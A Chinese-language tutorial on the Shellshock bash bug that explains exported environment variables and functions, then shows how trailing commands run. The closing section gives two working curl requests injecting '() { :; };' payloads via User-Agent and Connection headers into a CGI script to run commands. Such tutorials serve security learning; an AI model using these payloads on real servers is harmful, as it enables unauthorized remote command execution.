0x01 简介
bash的环境变量:环境变量是操作系统运行shell中的变量,很多程序的运行需要获取系统的环境变量参数。
具体赋值格式如下:
$mo="hello world"
然后你就可以使用这个变量了,但是只是局部变量,即是当前进程可以用,若当前进程的子进程或者其他进程需要用,需要用到 export
将本进程的变量 copy 到其他进程。
如果没加 export ,新建一个bash,再输出 $var
就不能获取环境变量:
$mo="hello bash"
$echo $mo
hello bash
$bash
$echo $mo
所以得加个 export
,才可以成为全局环境变量
0x02 漏洞产生原理
2.1 bash函数
首先来简单理解一下bash的函数,bash是可以存在函数的:
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ bash
$ foo
bash: foo: command not found
与上面同理, 加个 export -f
就可以全局调用:
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ export -f foo
$ bash
$ foo
hello coolshell
2.2 bash的bug
先看如下测试代码:
$export X='() { echo "inside X"; }; echo "outside X";'
#用env 查看创建出来的环境变量
$env
X=(){ echo "inside X"; }; echo "outside X";
当我们在当前的 bash shell 进程下产生一个 bash 的子进程时,新的子进程会读取父进程的所有 export 的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”
,这条命令会在父进程向子进程复制的过程中被执行。
$export X='() { echo "inside X"; }; echo "outside X";'
$bash
outside X
这就是 bash 的 bug —— 函数体外面的代码被默认地执行了
0x03 漏洞实践
当目标网站中存在任意 bash 文件时,可以尝试利用此 bash 漏洞,案例如下 cgi-bin 目录下的 poc.cgi 文件:
通过 HTTP 构造恶意请求:
#修改请求头中的 User-Agent
curl -A '() { :; }; echo -e "
";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi
#添加 Connection 请求头
curl -H 'Connection:() { :; }; echo -e "
";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi